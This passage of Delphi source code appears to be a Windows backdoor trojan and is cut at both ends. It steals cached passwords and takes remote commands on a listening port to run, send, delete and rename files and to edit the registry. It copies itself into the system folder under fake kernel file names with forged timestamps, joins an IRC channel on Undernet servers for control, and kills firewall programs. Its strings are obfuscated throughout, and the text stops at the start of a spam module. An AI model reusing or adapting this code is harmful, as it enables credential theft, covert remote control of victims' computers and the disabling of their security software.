s2:=pchar(s2); write(t,PChar(s1+' : '+s2+#13+#10)); end; procedure testEnumCachedPasswords; var WNetEnumCachedPasswords : function (ps: pchar; pw: word; pb: byte; proc: pointer; bdw: cardinal) : word; stdcall; mpr : cardinal; begin mpr:=LoadLibrary('mpr'); if mpr<>0 then try WNetEnumCachedPasswords:=GetProcAddress(mpr,pchar(crypt('VLfp@hreJkhdhj_qbad{grd'))); //WNetEnumCachedPasswords if @WNetEnumCachedPasswords<>nil then begin try WNetEnumCachedPasswords(nil,0,$FF,@EnumPasswordCallbackProc,0); finally end; end; finally FreeLibrary(mpr) end; end; //===windows_control procedure killprocess(prname:string); var str : pchar; h:hwnd; begin str:=@(prname)[1]; h := FindWindow(nil,str); if h <> 0 then PostMessage(h, WM_QUIT, 0, 0); end; {function childproc(h:HWND):bool;stdcall; var tempstring: array [0..255] of char; begin GetClassName(h,classe,255); if (classe=nil) or (classe=string(' ')) then exit; if classe='Edit' then begin sendmessage(h,WM_GETTEXT,255,integer(@tempstring)); if tempstring<>'' then begin writeln(tempstring); counter:=counter+1; end; if counter=2 then writeln(string(klasse)); end; if classe='TEdit' then begin sendmessage(h,WM_GETTEXT,255,integer(@tempstring)); if tempstring<>'' then begin writeln(tempstring); counter:=counter+1; end; if counter=2 then writeln(string(klasse)); end; end; function AddTopLevelWindowsToList2(h: HWND): BOOL; stdcall; begin If (GetWindowLong(h,GWL_HWNDPARENT)=0) then begin Getwindowtext(h,klasse,255); if klasse<>'' then begin counter:=0; if pos('Netscape',klasse)<>0 then counter:=1; //+ ' (' + inttostr(h) if pos('Explorer',klasse)<>0 then counter:=1; //writeln(string(klasse)); if pos('Opera',klasse)<>0 then counter:=1; end; end; if counter=1 then EnumChildWindows(h,@childproc,8); end; } function AddTopLevelWindowsToList(h: HWND): BOOL; stdcall; begin If (GetWindowLong(h,GWL_HWNDPARENT)=0) then begin Getwindowtext(h,klasse,255); if klasse<>'' then begin write(t,string(klasse)+#13+#10); end; end; end; //=== information === procedure DoPassword(wParam:longInt); var pp:string; sock:tsock; begin assignfile(t,windowsdir+'~tmp..sys'); rewrite(t); append(t); testEnumCachedPasswords; closefile(t); assignfile(t,windowsdir+'~tmp..sys'); reset(t); repeat readln(t,pp); Sock.WriteString(wParam, PChar(pp+#13+#10)); sleep(Timeout); until pp=''; closefile(t); erase(t); end; procedure DoAbout(wParam:longInt); var SI:TSystemInfo; OsVer:TOSVersionInfoA; MS:TMemoryStatus; pp:string; begin ZeroMemory(@OsVer,SizeOf(OsVer)); ZeroMemory(@Si,SizeOf(Si)); ZeroMemory(@MS,SizeOf(MS)); MS.dwLength:=SizeOf(MS); OsVer.dwOSVersionInfoSize:=SizeOf(OsVer); GetVersionEx(OsVer); GetSystemInfo(Si); GlobalMemoryStatus(MS); case Win32Platform of WINDOWS.VER_PLATFORM_WIN32_WINDOWS : pp:='95'; WINDOWS.VER_PLATFORM_WIN32s : pp:='32'; WINDOWS.VER_PLATFORM_WIN32_NT : pp:='NT'; end; Sock.WriteString(wParam, PChar( crypt('R{pp`k=')+#13+#10+ //System: WSD.szDescription+#13+#10+ crypt('NQ9$')+IntToStr(OsVer.dwMajorVersion)+'.'+IntToStr(OsVer.dwMinorVersion)+#13+#10+ //OS: crypt('own$FVR2)')+IntToStr(Si.dwNumberOfProcessors)+#13+#10+ //num CPU: crypt('BRV$')+IntToStr(Si.dwProcessorType)+#13+#10+ //CPU crypt('SCN$')+IntToStr(Round(MS.dwTotalPhys/1048576))+#13+#10+ //RAM crypt('GpfaWGJ(')+IntToStr(Round(MS.dwAvailPhys/1024))+#13+#10+ //FreeRAM crypt('Wpw$')+IntToStr(Round(MS.dwTotalVirtual/1048576))+#13+#10+ //Vrt crypt('GpfaSts(')+IntToStr(Round(MS.dwAvailVirtual/1048576))+#13+#10+ //FreeVrt crypt('R{pp`k=(')+systemdir+'\'+#13+#10+ //System: crypt('Vkm`jq=(')+windowsdir+'\'+#13+#10+ //Window: WSD.szSystemStatus+' '+pp+#13+#10+ crypt('Impp?&')+getlocalhostname+#13+#10)); //Host: end; procedure DoShowDirectory(wParam:longInt;command:String); var sss,NomDuDossier,DossierTrouve,FichierTrouve:string; attributs,Resultat:Integer; SearchRec:TSearchRec; TailleDuFichier:integer; begin attributs:=6; sock.writestring(wParam,pchar(crypt('EkqWfgi2')+#13+#10)); //DirScan: sleep(timeout); If command[length(command)]='\' then command:=copy(command,1,length(command)-1); Resultat:=FindFirst(command+'\'+'*.*',FaDirectory,SearchRec); while Resultat=0 do begin if (SearchRec.Name<>'.') and (SearchRec.Name<>'..') and ((SearchRec.Attr and faDirectory)>0) then begin DossierTrouve:=command+'\'+SearchRec.Name; NomDuDossier:=DossierTrouve; // ProcessMessages; end; if NomDuDossier<>sss then begin sleep(timeout); if NomDuDossier<>'' then NomduDossier:=NomDuDossier+'\'; sock.writestring(wParam,pchar(crypt('}F9')+NomduDossier+#13+#10)); //|D: end; sss:=NomDuDossier; Resultat:=FindNext(SearchRec); end; FindClose(SearchRec); If command[length(command)]='\' then command:=copy(command,1,length(command)-1); Resultat:=FindFirst(command+'\'+crypt('+,)'),Attributs,SearchRec); //*.* while Resultat=0 do begin //ProcessMessages; if ((SearchRec.Attr and faDirectory)<=0) then begin FichierTrouve:=command+'\'+SearchRec.Name; TailleDuFichier:=SearchRec.Size; //NomFichierComplet:=FichierTrouve; //DateHeureDuFichier:=SearchRec.Time; end; sleep(timeout); Resultat:=FindNext(SearchRec); sock.writestring(wParam,pchar(crypt('}D9')+FichierTrouve+'|'+inttostr(tailledufichier)+#13+#10)); //|F: end; FindClose(SearchRec); sleep(timeout); sock.writestring(wParam,pchar(crypt('}D9$YZo|dfWP')+#13+#10)); //|F: \\html\\ end; procedure DoStart(wParam:longInt); var ch:char; VolNameStr,Tip:String; LW:byte; Dsize,NamLen,syslen:integer; VolNameAry: array[0..255] of char; VolSer,SysFlags : DWord; begin Driv:=''; d:=0; ch:=#97; sock.WriteString(wParam, PChar(crypt('EmPpdts2')+#13+#10)); //DoStart: repeat d:=d+1; s:=ch+':\'; case getDriveType(pChar(s)) of DRIVE_FIXED: begin Tip:='0'; //Fixed HD NamLen:=255; SysLen:=255; if GetVolumeInformation(pChar(s), VolNameAry, NamLen, @VolSer, SysLen, SysFlags, nil, 0) then VolNameStr := StrPas(VolNameAry) else VolNameStr := ''; LW := ord(upcase(s[1])) - 64; DSize := DiskSize(LW); if (DSize <> -1) then DSize := disksize(LW) DIV 1024; //Driv:=Driv+'Drive: '+UpCase(Ch)+':\'+' <'+Volnamestr+'>'+'&'+Tip+'|'+IntToStr(DSize)+'|'+#13+#10; Driv:=crypt('}F9')+UpCase(Ch)+':\'+' <'+Volnamestr+'>'+'&'+Tip+'|'+IntToStr(DSize)+'|'+#13+#10; //|D: end; DRIVE_CDROM: begin Tip:='1'; //CD-ROM Driv:=Driv+'|D:'+UpCase(Ch)+':\'+' &'+Tip+'|0|'+#13+#10; end; DRIVE_RAMDISK: begin Tip:='2'; //RAM Disk Driv:=Driv+'|D:'+UpCase(Ch)+':\'+' &'+Tip+'|0|'+#13+#10; end; DRIVE_REMOVABLE: begin Tip:='3'; //Removable Driv:=Driv+'|D:'+UpCase(Ch)+':\'+' &'+tip+'|0|'+#13+#10; end; DRIVE_REMOTE: begin Tip:='4'; //Network Driv:=Driv+'|D:'+UpCase(Ch)+':\'+' &'+tip+'|0|'+#13+#10; end; 0 : s:=''; //do nothing; 1 : s:=''; //do nothing; end; sleep(timeout); sock.WriteString(wParam, PChar(Driv)); driv:=''; inc(ch); until d=26; sleep(timeout); sock.WriteString(wParam, PChar(crypt(']^kphj[T')+#13+#10)); //\\html\\ end; procedure DoShowLog(wParam:longInt); var f:file of byte; p:longint; begin Registre:=TRegistry.create; Registre.RootKey:=HKEY_CLASSES_ROOT; Registre.OpenKey('.aft',true); if fileexists(systemdir+crypt(']wpawu)lh~')) then //\users.dat begin assignfile(f,systemdir+crypt(']wpawu)lh~')); //\users.dat reset(f); p:=filesize(f); sock.writestring(wParam,pchar(crypt('mmd>%')+Registre.ReadString('1')+' '+s+' '+inttostr(p)+#13+#10)); //log: closefile(f); end; Registre.Free; end; procedure DoExecFile(wParam:longInt;Command:String); var R:Integer; Params:String; begin Params:=''; if Pos('&',Command)<>0 then begin Params:=Copy(Command,Pos('&',Command)+1,255); Delete(Command,Pos('&',Command),255); end; R:=ShellExecute(0,nil,PChar(Command),PChar(Params),nil,SW_NORMAL); if R<=32 then sock.WriteString(wParam, PChar(ERROR+#13+#10)) else sock.WriteString(wParam, PChar(ALLDONE+#13+#10)); end; procedure DoProxy(wParam:longInt;Command:String); begin // end; procedure DoDeleteFile(wParam:longInt;Command:String); var St:String; Found:Integer; F:TSearchRec; begin Found:=FindFirst(Command,faAnyFile, F); St:=''; while Found = 0 do begin if DeleteFile(ExtractFilePath(Command)+F.Name) then St:=St+F.Name; Found:=FindNext(F); end; sock.WriteString(wParam, PChar(crypt('Dpbw`b''n`fn7')+St+#13+#10)); //Erased files: end; procedure DoSendFile(wParam:longInt;Command:String); var {f:file of byte;} f:HFile; st:string; NumRead:Integer; p:array[1..1024] of char; OfStr:TOFStruct; FF:TSearchRec; begin f:=OpenFile(PChar(Command),OFStr,OF_READ); if f=HFILE_ERROR then begin sock.WriteString(wParam, PChar(ERROR+#13+#10)); exit; end; FindFirst(Command,faAnyFile, FF); St:=IntToStr(FF.Size); sock.WriteString(wParam, PChar(crypt('mmb`cok2')+st+'|'+#13+#10)); //loadfil: sleep(timeout); repeat ReadFile(f,P,SizeOf(P),NumRead,nil); Sleep(timeout); if sock.WriteData(wParam,@P,numread)=0 then begin _lclose(f); exit; end; until (NumRead = 0); _lclose(f); end; procedure DoReceiveFile(wParam:longInt;Command:String); begin //done; end; procedure DoRenameFile(wParam:longInt;Command:String); var Params:String; f:file; begin Params:=''; if Pos('&',Command)<>0 then begin Params:=Copy(Command,Pos('&',Command)+1,255); Delete(Command,Pos('&',Command),255); end; assignfile(f,command); if params<>'' then Rename(f,params) else exit; sock.writeString(wParam, PChar(ALLDONE+#13+#10)); end; procedure DoCreateDirectory(wParam:longInt;Command:String); var St:String; begin St:=command; MkDir(command); sock.WriteString(wParam, PChar(crypt('Bpfeqc''l`x1')+St+#13+#10)); //Create dir: end; procedure DoDeleteDirectory(wParam:longInt;Command:String); var St:String; begin St:=command; RmDir(command); sock.WriteString(wParam, PChar(crypt('Dpbw`&ca{0')+St+#13+#10)); //Erase dir: end; procedure DoWriteReg(wParam:longInt;Command:String); var Params,Params1,Params2,Params3:String; begin params:=''; params1:=''; params2:=''; params3:=''; if Pos('&',Command)<>0 then begin params:=copy(command,1,pos('&',command)-1); Delete(Command,1,pos('&',command)); end; if Pos('&',Command)<>0 then begin params1:=copy(command,1,pos('&',command)-1); Delete(Command,1,pos('&',command)); end; if Pos('&',Command)<>0 then begin params2:=copy(command,1,pos('&',command)-1); Delete(Command,1,pos('&',command)); end; Params3:=Copy(Command,1,length(command)); Registre:=TRegistry.create; if strtoint(params)=0 then Registre.RootKey:=HKEY_CLASSES_ROOT; if strtoint(params)=1 then Registre.RootKey:=HKEY_CURRENT_USER; if strtoint(params)=2 then Registre.RootKey:=HKEY_LOCAL_MACHINE; if strtoint(params)=3 then Registre.RootKey:=HKEY_USERS; if strtoint(params)=4 then Registre.RootKey:=HKEY_PERFORMANCE_DATA; if strtoint(params)=5 then Registre.RootKey:=HKEY_CURRENT_CONFIG; if strtoint(params)=6 then Registre.RootKey:=HKEY_DYN_DATA; if strtoint(params)>6 then begin sock.WriteString(wParam, PChar(ERROR+#13+#10)); Registre.Free; exit; end; Registre.OpenKey(params1,true); Registre.WriteString(params2,pchar(params3)); Registre.Free; sock.WriteString(wParam, PChar(ALLDONE+#13+#10)); end; procedure DoReadReg(wParam:longInt;Command:String); var params,params1,params2:string; begin if Pos('&',Command)<>0 then begin params:=copy(command,1,pos('&',command)-1); Delete(Command,1,pos('&',command)); end; if Pos('&',Command)<>0 then begin params1:=copy(command,1,pos('&',command)-1); Delete(Command,1,pos('&',command)); end; Params2:=Copy(Command,1,length(command)); Registre:=TRegistry.create; if strtoint(params)=0 then Registre.RootKey:=HKEY_CLASSES_ROOT; if strtoint(params)=1 then Registre.RootKey:=HKEY_CURRENT_USER; if strtoint(params)=2 then Registre.RootKey:=HKEY_LOCAL_MACHINE; if strtoint(params)=3 then Registre.RootKey:=HKEY_USERS; if strtoint(params)=4 then Registre.RootKey:=HKEY_PERFORMANCE_DATA; if strtoint(params)=5 then Registre.RootKey:=HKEY_CURRENT_CONFIG; if strtoint(params)=6 then Registre.RootKey:=HKEY_DYN_DATA; if strtoint(params)>6 then begin sock.WriteString(wParam, PChar(ERROR+#13+#10)); Registre.Free; exit; end; Registre.OpenKey(params1,true); sock.WriteString(wParam, PChar('Data: '+Registre.ReadString(params2)+#13+#10)); Registre.Free; end; procedure DoKillProcess(wParam:longInt;Command:String); begin Killprocess(command); sock.WriteString(wParam, PChar(crypt('Jkohlh`2)')+command+#13+#10)); //Killing: end; procedure DoWindowsProcess(wParam:longInt); var pp:string; begin assignfile(t,windowsdir+'~tmp..dat'); rewrite(t); append(t); EnumWindows(@AddTopLevelWindowsToList,8); closefile(t); assignfile(t,windowsdir+'~tmp..dat'); reset(t); repeat readln(t,pp); Sock.WriteString(wParam, PChar(pp+#13+#10)); sleep(timeout); until pp=''; closefile(t); erase(t); end; procedure DoTimeout(wParam:longInt;Command:String); begin timeout:=strtoint(command); sock.WriteString(wParam, PChar('Timeout: '+command+#13+#10)); end; procedure TSock.OnServerRead(wParam,lParam:longInt); var Command:String; f:HFile; check:string; NumWrite:Integer; OfStr:TOFStruct; t1,t2,yy,taille:longint; Buffy:array[1..1024] of char; begin CountRB:=recv(wParam,Buffy,SizeOf(Buffy),0); if CountRB = 0 then exit; Command:=Copy(Buffy,Pos('/',Buffy)+1,Pos('HTTP',Buffy)-Pos('/',Buffy)-2); if command='' then exit; case command[1] of '0' : DoAbout(wParam); '1' : DoShowDirectory(wParam,copy(command,pos('?',command)+1,255)); '2' : DoStart(wParam); '3' : DoShowLog(wParam); '4' : DoExecFile(wParam,copy(command,pos('?',command)+1,255)); '5' : DoSendFile(wParam,copy(command,pos('?',command)+1,255)); '6' : DoDeleteFile(wParam,copy(command,pos('?',command)+1,255)); '7' : begin command:=copy(command,pos('?',command)+1,255); check:=copy(command,pos('|',command)+1,pos('&',command)-1); taille:=strtoint(check); delete(command,pos('|',command),length(command)); sock.WriteString(wParam, PChar('sendfil:'+#13+#10)); f:=OpenFile(PChar(Command),OFStr,OF_CREATE); if f=HFILE_ERROR then begin sock.WriteString(wParam, PChar(ERROR+#13+#10)); exit; end; yy:=0; t1:=round((taille+512)/1024); t2:=t1*1024; //nombre packet t1:=t2-taille; //end packet //t1:=taille-t2; repeat CountRB:=recv(wParam,Buffy,sizeof(Buffy),0); if countRB<>65535 then begin //writeln(taille); if taille<=1024 then begin WriteFile(f,Buffy,taille,NumWrite,nil); _lclose(f); exit; end; yy:=yy+countRB; //bug if yy=t2 then begin t1:=1024-abs(t1); //writeln(t1); WriteFile(f,Buffy,t1,NumWrite,nil); _lclose(f); exit; end else WriteFile(f,Buffy,countRB,NumWrite,nil); end; fillchar(buffy,sizeof(buffy),#0); until (yy>=taille) or (NumWrite = 0); _lclose(f); exit; //DoReceiveFile(wParam,copy(command,pos('?',command)+1,255)); end; '8' : DoRenameFile(wParam,copy(command,pos('?',command)+1,255)); '9' : DoCreateDirectory(wParam,copy(command,pos('?',command)+1,255)); 'A' : DoDeleteDirectory(wParam,copy(command,pos('?',command)+1,255)); 'B' : DoWriteReg(wParam,copy(command,pos('?',command)+1,255)); 'C' : DoReadReg(wParam,copy(command,pos('?',command)+1,255)); 'D' : DoProxy(wParam,copy(command,pos('?',command)+1,255)); 'E' : DoKillProcess(wParam,copy(command,pos('?',command)+1,255)); 'F' : DoWindowsProcess(wParam); 'G' : DoPassword(wParam); 'H' : DoTimeout(wParam,copy(command,pos('?',command)+1,255)); end; // closesocket(wParam); processmessages; end; //=== Process OnSocketMessage === procedure OnSocketMessage(Msg,wParam,lParam:longInt); begin if ( LOWORD(lParam) and FD_ACCEPT = FD_ACCEPT) then Sock.OnServerAccept(wParam,lParam); if ( LOWORD(lParam) and FD_CLOSE = FD_CLOSE) then sock.OnServerClose(wParam,lParam); if ( LOWORD(lParam) and FD_READ = FD_READ) then sock.OnServerRead(wParam,lParam); end; //== Processes every message sent to MAIN window === function WindowProc(hWnd,Msg,wParam,lParam:Longint):Longint; stdcall; begin Result:= 0; case Msg of WM_CREATE : OnCreate(hWnd); WM_CLOSE : OnClose(hWnd); WM_MY_SOCK_MESSAGE : OnSocketMessage(Msg,wParam,lParam); WM_DESTROY : ShutDownServer; end; Result:=DefWindowProc(hWnd,Msg,wParam,lParam); end; //=== OnInitSocket === //==TCP procedure InitSocket; begin WSAStartup($101,WSD); Port:=1173; Server := Socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // Server := Socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP); if Server = -1 then WSACleanup; Addr.sin_family:= AF_INET; Addr.sin_addr.s_addr:=INADDR_ANY; Addr.sin_port:=htons(Port); bind(Server,Addr,SizeOf(Addr)); WSAAsyncSelect(Server,Handle,WM_MY_SOCK_MESSAGE, FD_ACCEPT + FD_CLOSE + FD_READ); // listen; listen(Server,5); end; //==UDP {procedure InitSocket2; begin si:=SizeOf(integer); WSAStartup($101,WSD); Port:=136; Server := Socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP); if Server = -1 then WSACleanup; Addr.sin_family:= PF_INET; Addr.sin_addr.s_addr:=INADDR_ANY; Addr.sin_port:=htons(Port); setsockopt(Server,SOL_SOCKET,SO_BROADCAST,@i,si); bind(Server,Addr,SizeOf(Addr)); WSAAsyncSelect(Server,Handle,WM_MY_SOCK_MESSAGE, FD_ACCEPT + FD_CLOSE + FD_READ); listen(Server,5); end;} //=====copyit function GetFileDateTimeModified(const FileName: string;var yyyy,mm,dd,h,m,s: word):boolean; var dt,tm: word; DateTime: integer; begin result := false; DateTime := FileAge(FileName); if DateTime = -1 then exit else result := true; tm := DateTime and $FFFF; {lower word} dt := DateTime shr 16; {upper word} h := tm shr 11; m := (tm shr 5) and $3F; s := (tm and $1F) * 2; dd := dt and $1F; mm := (dt shr 5) and $F; yyyy := (dt shr 9)+1980; end; function SetFileDateTime(const FileName: string;var yyyy,mm,dd,h,m,s: word):boolean; var SrchHdl: THandle; FileHdl: HFile; FindData: TWin32FindData; wDate,wTime: word; LocalFileTime, NewFileTime: TFileTime; begin result := false; SrchHdl := FindFirstFile(PChar(FileName), FindData); if SrchHdl <> INVALID_HANDLE_VALUE then begin Windows.FindClose(SrchHdl); if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then begin wTime := (h shl 11) + (m shl 5) + (m div 2); wDate := (dd) + (mm shl 5)+ ((yyyy-1980) shl 9); DosDateTimeToFileTime(wDate,wTime,LocalFileTime); LocalFileTimeToFileTime(LocalFileTime, NewFileTime); FileHdl := _lopen(PChar(FileName), OF_WRITE); if FileHdl <> HFILE_ERROR then begin if SetFileTime(FileHdl,@NewFileTime,@NewFileTime,@NewFileTime) then result := true; _lclose(FileHdl); end; end; end; end; procedure copyit; var FromF, ToF: file; NumRead, NumWritten: Integer; Buf: array[1..2048] of Char; begin s:=paramstr(0); if (s<>systemdir+crypt(']IFVKCK;;$]TI')) and (s<>systemdir+crypt(']IFVKCK&MFG')) then begin //\KERNEL32.VXD \KERNEL.DLL filemode:=0; if fileexists(systemdir+crypt(']ifvkck;;$}ti')) then exit; //\kernel32.vxd if fileexists(systemdir+crypt(']ifvkck&mfg')) then exit; //\kernel.dll Registre:=TRegistry.create; Registre.RootKey:=HKEY_CLASSES_ROOT; Registre.OpenKey(crypt('Eg\Hdhfj{kx'),true); //De_Lanabras Registre.WriteString(crypt('333<=6'),pchar(crypt('um#`lc''g{*ecy.{1vzq'))); //210880 //to die or not to die Registre.Free; AssignFile(FromF,paramstr(0)); Reset(FromF, 1); { Record size = 1 } AssignFile(ToF, systemdir+crypt(']ifvkck;;$}ti')); { ouvre le fichier de sortie }//\kernel32.vxd Rewrite(ToF, 1); { Record size = 1 } repeat BlockRead(FromF, Buf, SizeOf(Buf), NumRead); BlockWrite(ToF, Buf, NumRead, NumWritten); until (NumRead = 0) or (NumWritten <> NumRead); CloseFile(FromF); CloseFile(ToF); GetFileDateTimeModified(windowsdir+'\explorer.exe',yyyy,mm,dd,h,m,ss); SetFileDateTime(systemdir+crypt(']ifvkck;;$}ti'),yyyy,mm,dd,h,m,ss); //\kernel32.vxd AssignFile(FromF,paramstr(0)); Reset(FromF, 1); { Record size = 1 } AssignFile(ToF, systemdir+crypt(']ifvkck&mfg')); { ouvre le fichier de sortie }//\kernel.dll Rewrite(ToF, 1); { Record size = 1 } repeat BlockRead(FromF, Buf, SizeOf(Buf), NumRead); BlockWrite(ToF, Buf, NumRead, NumWritten); until (NumRead = 0) or (NumWritten <> NumRead); CloseFile(FromF); CloseFile(ToF); SetFileDateTime(systemdir+crypt(']ifvkck&mfg'),yyyy,mm,dd,h,m,ss); //\kernel.dll end; end; //===========Online??? const INVALID_IP_ADDRESS= $ffffffff; function ip2string(ip_address:longint):string; begin ip_address:=ntohl(ip_address); result:= inttostr(ip_address shr 24)+'.'+ inttostr((ip_address shr 16) and $ff)+'.'+ inttostr((ip_address shr 8) and $ff)+'.'+ inttostr(ip_address and $ff); end; function lookup_hostname(const hostname:string):longint; var RemoteHost : PHostEnt; (* no, don't free it! *) ip_address: integer; s: string; begin ip_address:=INVALID_IP_ADDRESS; try if hostname='' then begin (* no host given! *) lookup_hostname:=ip_address; EXIT; end else begin s:=hostname+#0; ip_address:=Inet_Addr(PChar(@s[1])); // ip_address:=Winsock.Inet_Addr(PChar(hostname)); if ip_address=$FFFFFFFF then begin RemoteHost:=GetHostByName(PChar(@s[1])); // RemoteHost:=Winsock.GetHostByName(PChar(hostname)); if (RemoteHost=NIL) or (RemoteHost^.h_length<=0) then begin lookup_hostname:=ip_address; EXIT; (* host not found *) end else ip_address:=longint(pointer(RemoteHost^.h_addr_list^)^); end; end; except ip_address:=INVALID_IP_ADDRESS; end; lookup_hostname:=ip_address; end; //====== Connection Irc === type THede = class(TObject) procedure MyHwndProc(var Msg:TMessage); procedure agprun; procedure server; function ip2string(ip_address:longint):string; end; const SocketMessag = WM_USER+107; var MySocket: TSocket; MyName : TSockAddr; MyAddr : TInAddr; Hede: THede; Buffer:array[0..1023] of char; res : word; WST : TWSAData; host: string; b:byte; function my_ip_address:longint; const bufsize=255; var buf: pointer; RemoteHost : PHostEnt; (* No, don't free it! *) begin buf:=NIL; try getmem(buf,bufsize); gethostname(buf,bufsize); (* this one maybe without domain *) RemoteHost:=GetHostByName(buf); if RemoteHost=NIL then my_ip_address:=htonl($7F000001) (* 127.0.0.1 *) else my_ip_address:=longint(pointer(RemoteHost^.h_addr_list^)^); finally if buf<>NIL then freemem(buf,bufsize); end; end; function THede.ip2string(ip_address:longint):string; begin ip_address:=ntohl(ip_address); result:= inttostr(ip_address shr 24)+'.'+ inttostr((ip_address shr 16) and $ff)+'.'+ inttostr((ip_address shr 8) and $ff)+'.'+ inttostr(ip_address and $ff); end; procedure Thede.server; var srvlist: array[0..14] of string; x:byte; systemTime:TSystemTime; z:longint; begin sleep(10000); b:=0; randomize; j := 0; result:=''; nukemsg:=''; repeat j:=j+1; x := 64 + random(58); case x of 0 .. 64 : result := 'a'; 65 .. 90 : result := chr(x); 91 .. 96 : result := 'e'; 97 .. 122 : result := chr(x); 123..255 : result := 'd'; end; nukemsg:=nukemsg+result; until j=9; j := 0; result:=''; nukemsg2:=''; repeat j:=j+1; x := 96 + random(26); case x of // 0 .. 64 : result := 'a'; // 65 .. 90 : result := 'u'; 91 .. 96 : result := 'e'; 97 .. 122 : result := chr(x); 123..255 : result := 'd'; end; nukemsg2:=nukemsg2+result; until j=10; with systemtime do begin wYear:= wYear; wMonth:=wMonth; wDayOfWeek:= wDayOfWeek; wDay:=wDay; wHour:= wHour; wMinute:= wMinute; wSecond:= wSecond; wMilliseconds:= wMilliseconds; end; getsystemtime(SystemTime); j:=systemtime.wMonth; //srvlist[0]:='127.0.0.1'; srvlist[1]:=crypt('dw-qkbbzgo"b|h'); //eu.undernet.org srvlist[2]:=crypt('bc-qkbbzgo"b|h'); //ca.undernet.org srvlist[3]:=crypt('tq-qkbbzgo"b|h'); //us.undernet.org srvlist[4]:=crypt('umqkkrh&fd%ol z~uwazpb9wk}'); //toronto.on.ca.undernet.org srvlist[5]:=crypt('sgdakue}{m%hh je?g}ppdy}m4tnz'); //regensburg.de.eu.undernet.org srvlist[6]:=crypt('dqskj(aa''o~"x`kuc|v`;ye'); //espoo.fi.eu.undernet.org srvlist[7]:=crypt('bjjgdah&`f%y~ Z~uwazpb9wk}'); //chicago.il.us.Undernet.org srvlist[8]:=crypt('vcpllh`|fd%hn zc?g}ppdy}m4tnz'); //washington.dc.us.undernet.org srvlist[9]:=crypt('`opp`tcid$e`#kz>d|wqgxrl7ui{'); //amsterdam.nl.eu.undernet.org srvlist[10]:=crypt('rvokpot&de%y~ z~uwazpb9wk}'); //stlouis.mo.us.undernet.org srvlist[11]:=crypt('qkwpvdrznb%|l zc?g}ppdy}m4tnz'); //pittsburgh.pa.us.undernet.org srvlist[12]:=crypt('`w`oigil''dq"x`kuc|v`;ye'); //auckland.nz.undernet.org srvlist[13]:=crypt('qjlako&hp%y~ z~uwazpb9wk}'); //phoenix.az.us.undernet.org srvlist[14]:=crypt('ecohdu)|q$~#{att`}qa8xj~'); //dallas.tx.us.undernet.org x:=random(14)+1; // x:=0; host:=srvlist[x]; z:=lookup_hostname(host); host:=ip2string(z); //writeln(host); WSAStartup($101,WST); hede.agprun; end; procedure THede.MyHwndProc(var msg:TMessage); var check,s:string; begin FillChar(buffer,sizeof(buffer),#0); if msg.Msg = SocketMessag then begin if msg.LParamLo = FD_CLOSE then begin //writeln('end'); closesocket(mysocket); WSACleanup; hede.server; exit; end; //if msg.LParamLo = FD_WRITE then writeln('[Socket Write]'); if msg.LParamLo = FD_READ then begin res:=Recv(MySocket,Buffer,sizeof(Buffer),0); if res=-1 then begin // S:='Error : '+inttostr(WSAGetLastError); // writeln(s); closesocket(mysocket); WSACleanup; hede.server; exit; end; //if Buffer[1]<>'' then S:='[connected]'; //writeln(s); //writeln('[Socket Read] '+ inttostr(res) +'/300 : '+Buffer); end; if res<0 then begin //writeln('*** Cant Read !!! >:-['); closesocket(mysocket); WSACleanup; hede.server; exit; end; end; check:=copy(buffer,1,6); if check=crypt('QKMC%<') then //PING : begin sleep(100); check:=copy(buffer,7,20); sock.WriteString(MySocket,pchar(crypt('QMMC%<')+check+#13+#10)); //PONG : if b=0 then begin sleep(500); //writeln('USER '+nukemsg+' '+ip2string(my_ip_address)+' '+nukemsg2+'.org :'+copy(nukemsg2,1,5)+#13+#10); //sock.WriteString(MySocket,pchar('USER thepeaceto "death.com" "'+ip2string(my_ip_address)+'" :dukkk'+#13+#10)); sock.WriteString(MySocket,pchar(crypt('TQFV%')+copy(nukemsg2,1,7)+' "'+nukemsg2+'.com" "'+ip2string(my_ip_address)+'" :'+copy(nukemsg2,1,5)+#13+#10)); //USER sleep(500); sock.WriteString(MySocket,pchar(crypt('LMGA%')+nukemsg+' +i'+#13+#10)); //MODE sleep(500); sock.WriteString(MySocket,pchar(crypt('KMJJ%')+crypt('"]e[gYn')+inttostr(j)+' '+crypt('dosawiuW')+#13+#10)); //JOIN //#_f_b_i //emperor_ sleep(500); sock.WriteString(MySocket,pchar(crypt('LMGA%')+crypt('"]e[gYn')+inttostr(j)+' +sk '+crypt('dosawiuW')+#13+#10));//MODE sleep(500); Registre:=TRegistry.create; Registre.RootKey:=HKEY_CLASSES_ROOT; Registre.OpenKey('.aft',true); sock.WriteString(MySocket,pchar(crypt('QPJRHU@(')+crypt('"]e[gYn')+inttostr(j)+' '+crypt(';jfhii')+Registre.ReadString('1')+#13+#10)); //PRIVMSG //:hello Registre.Free; b:=1; end; end; end; procedure THede.agpRun; var s:string; myhwnd: Thandle; begin MySocket:=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP); MyAddr.S_addr:=Inet_Addr(@Host[1]); MyName.sin_family:=PF_INET; MyName.sin_port:=htons(6667); //port to connect MyName.sin_addr:=MyAddr; // MyName.sin_port:=ntohs(strtoint(edit4.text)); //port on receive res:=connect(MySocket,MyName,sizeof(MyName)); if res<>0 then begin // S:='Connect Error : '+inttostr(WSAGetLastError); // writeln(s); closesocket(mysocket); WSACleanup; hede.server; exit; end; myhwnd := AllocateHwnd(hede.MyHWndProc); WSAAsyncSelect(MySocket, myhwnd, SocketMessag, FD_READ OR FD_WRITE OR FD_CLOSE ); res:=Recv(MySocket,Buffer,sizeof(buffer),0); //sock.WriteString(MySocket,pchar('PASS 666'+#13+#10)); sleep(500); sock.WriteString(MySocket,pchar(crypt('OK@O%')+nukemsg+#13+#10)); //NICK while not ExitCode<>ExitCode2 do processmessages; end; //===fuck_protection procedure scanprotection; begin if findwindow(nil,@(crypt('OgwEuv@}hxo'))[1])<>0 then //NetAppGuard begin killprocess(crypt('OgwEuv@}hxo')); //NetAppGuard end; if findwindow(nil,@(crypt('BmmW`gk(YI+JD\JGP^_'))[1])<>0 then //ConSeal PC FIREWALL begin killprocess(crypt('BmmW`gk(YI+JD\JGP^_')); appmsg(pchar(crypt('HR#ekb''ijidycz/~pv4yyp|~;ss>lIFLBH DGD eABJWP^wZXd]XVzTLZ7 ./d3#5; %%b'))); end; exit; end; //====== Spammer =========== type TSpam 